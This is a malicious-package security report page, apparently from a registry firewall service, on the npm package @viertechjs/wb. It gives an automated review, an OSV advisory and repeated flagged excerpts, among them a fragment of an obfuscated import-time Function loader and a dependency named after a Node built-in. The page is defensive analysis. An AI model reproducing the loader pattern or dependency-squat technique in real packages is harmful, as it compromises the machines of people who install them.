Loading npm security reports…

@viertechjs/wb@6.0.0-vier.4: Malicious npm security report | LPM Firewall

registry / @viertechjs/wb / 6.0.0-vier.4

@viertechjs/wb@6.0.0-vier.4

VierTech WhatsApp Bot toolkit for Baileys

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Requiring the package creates .cache and imports an opaque module that dynamically constructs executable code. Static source inspection could not establish a concrete payload or destination.

Static reason

One or more suspicious static signals were detected.

Trigger

Import or require of @viertechjs/wb.

Impact

Unverifiable code executes whenever the package is imported; no confirmed exfiltration or destructive behavior was identified.

Mechanism

import-time opaque Function execution and local cache-directory creation

Rationale

The package has a real import-time opaque-code execution surface and unsafe dependency pinning, but no source-grounded concrete attack chain was established. Warn rather than block.

Evidence

package.jsonlib/index.jslib/core/connection.jslib/utils/sticker-pack.js.cache

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-15832

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @viertechjs/wb (npm)

Details

The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (e5c7eed79e04104fa70a24bc54a748194a7d858fc491a943e71751ec4355eed5) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Source & flagged code

7 flagged

examples/sticker-pack.jsView file

1const { StickerPack } = require('@viertech/wb') L2:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

examples/sticker-pack.jsView on unpkg · L1

lib/utils/sticker-pack.jsView file

6package = @viertechjs/wb; repositoryIdentity = viertech-wb; dependency = fflate L6: const path = require('path') L7: const { zip } = require('fflate') L8:

High

Copied Package Dependency Bridge

Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.

lib/utils/sticker-pack.jsView on unpkg · L6

package.jsonView file

•Runtime dependency names matching Node built-ins: path

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

32"dependencies": { "@cacheable/node-cache": "~3.0.1", "@neoxr/helper": "latest", "@viertechjs/api": "^1.0.0"

High

Suspicious Dependency Evidence

Manifest uses floating @neoxr/helper@latest and declares path, a Node built-in name, as a runtime dependency.

package.jsonView on unpkg · L32

54"node-cron": "~3.0.0", "node-id3": "^0.2.7", "node-webpmux": "^3.1.0", "path": "~0.12.7", "pino": "^9.6"

High

Suspicious Dependency Evidence

Manifest uses floating @neoxr/helper@latest and declares path, a Node built-in name, as a runtime dependency.

package.jsonView on unpkg · L54

lib/core/connection.jsView file

1Function(i(0x3bb),i(0x1031)+i(0x21f6)+i(0xf71)+i(0x968)+i(0x16ff)+i(0x2ce9)+i(0x1042)+i(0x26e)+i(0x29cd)+i(0x1797)+i(0x2eed)+i(0x1ffd)+i(0x2534)+i(0x117d)+i(0x3366)+i(0x120a)+i(0x2b60)+i(0x22c9)+i(

High

Ai Review Evidence

Entrypoint imports a 424KB single-line obfuscated module that constructs and invokes Function at import time.

lib/core/connection.jsView on unpkg · L1

lib/index.jsView file

109const CACHE_DIR = path_1.default.join(process.cwd(), ".cache"); if (!node_fs_1.default.existsSync(CACHE_DIR)) { node_fs_1.default.mkdirSync(CACHE_DIR, { recursive: true }); }

High

Ai Review Evidence

Import creates a project-local .cache directory before exporting APIs.

lib/index.jsView on unpkg · L109

Source & flagged code

7 flagged · loading source

examples/sticker-pack.jsView file

1const { StickerPack } = require('@viertech/wb') L2:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

examples/sticker-pack.jsView on unpkg · L1

lib/utils/sticker-pack.jsView file

6package = @viertechjs/wb; repositoryIdentity = viertech-wb; dependency = fflate L6: const path = require('path') L7: const { zip } = require('fflate') L8:

High

Copied Package Dependency Bridge

Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.

lib/utils/sticker-pack.jsView on unpkg · L6

package.jsonView file

•Runtime dependency names matching Node built-ins: path

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

32"dependencies": { "@cacheable/node-cache": "~3.0.1", "@neoxr/helper": "latest", "@viertechjs/api": "^1.0.0"

High

Suspicious Dependency Evidence

Manifest uses floating @neoxr/helper@latest and declares path, a Node built-in name, as a runtime dependency.

package.jsonView on unpkg · L32

54"node-cron": "~3.0.0", "node-id3": "^0.2.7", "node-webpmux": "^3.1.0", "path": "~0.12.7", "pino": "^9.6"

High

Suspicious Dependency Evidence

Manifest uses floating @neoxr/helper@latest and declares path, a Node built-in name, as a runtime dependency.

package.jsonView on unpkg · L54

lib/core/connection.jsView file

1Function(i(0x3bb),i(0x1031)+i(0x21f6)+i(0xf71)+i(0x968)+i(0x16ff)+i(0x2ce9)+i(0x1042)+i(0x26e)+i(0x29cd)+i(0x1797)+i(0x2eed)+i(0x1ffd)+i(0x2534)+i(0x117d)+i(0x3366)+i(0x120a)+i(0x2b60)+i(0x22c9)+i(

High

Ai Review Evidence

Entrypoint imports a 424KB single-line obfuscated module that constructs and invokes Function at import time.

lib/core/connection.jsView on unpkg · L1

lib/index.jsView file

109const CACHE_DIR = path_1.default.join(process.cwd(), ".cache"); if (!node_fs_1.default.existsSync(CACHE_DIR)) { node_fs_1.default.mkdirSync(CACHE_DIR, { recursive: true }); }

High

Ai Review Evidence

Import creates a project-local .cache directory before exporting APIs.

lib/index.jsView on unpkg · L109

Source & flagged code

7 flagged

examples/sticker-pack.jsView file

1const { StickerPack } = require('@viertech/wb') L2:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

examples/sticker-pack.jsView on unpkg · L1

lib/utils/sticker-pack.jsView file

6package = @viertechjs/wb; repositoryIdentity = viertech-wb; dependency = fflate L6: const path = require('path') L7: const { zip } = require('fflate') L8:

High

Copied Package Dependency Bridge

Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.

lib/utils/sticker-pack.jsView on unpkg · L6

package.jsonView file

•Runtime dependency names matching Node built-ins: path

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

32"dependencies": { "@cacheable/node-cache": "~3.0.1", "@neoxr/helper": "latest", "@viertechjs/api": "^1.0.0"

High

Suspicious Dependency Evidence

Manifest uses floating @neoxr/helper@latest and declares path, a Node built-in name, as a runtime dependency.

package.jsonView on unpkg · L32

54"node-cron": "~3.0.0", "node-id3": "^0.2.7", "node-webpmux": "^3.1.0", "path": "~0.12.7", "pino": "^9.6"

High

Suspicious Dependency Evidence

Manifest uses floating @neoxr/helper@latest and declares path, a Node built-in name, as a runtime dependency.

package.jsonView on unpkg · L54

lib/core/connection.jsView file

1Function(i(0x3bb),i(0x1031)+i(0x21f6)+i(0xf71)+i(0x968)+i(0x16ff)+i(0x2ce9)+i(0x1042)+i(0x26e)+i(0x29cd)+i(0x1797)+i(0x2eed)+i(0x1ffd)+i(0x2534)+i(0x117d)+i(0x3366)+i(0x120a)+i(0x2b60)+i(0x22c9)+i(

High

Ai Review Evidence

Entrypoint imports a 424KB single-line obfuscated module that constructs and invokes Function at import time.

lib/core/connection.jsView on unpkg · L1

lib/index.jsView file

109const CACHE_DIR = path_1.default.join(process.cwd(), ".cache"); if (!node_fs_1.default.existsSync(CACHE_DIR)) { node_fs_1.default.mkdirSync(CACHE_DIR, { recursive: true }); }

High

Ai Review Evidence

Import creates a project-local .cache directory before exporting APIs.

lib/index.jsView on unpkg · L109

@viertechjs/wb@6.0.0-vier.4

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code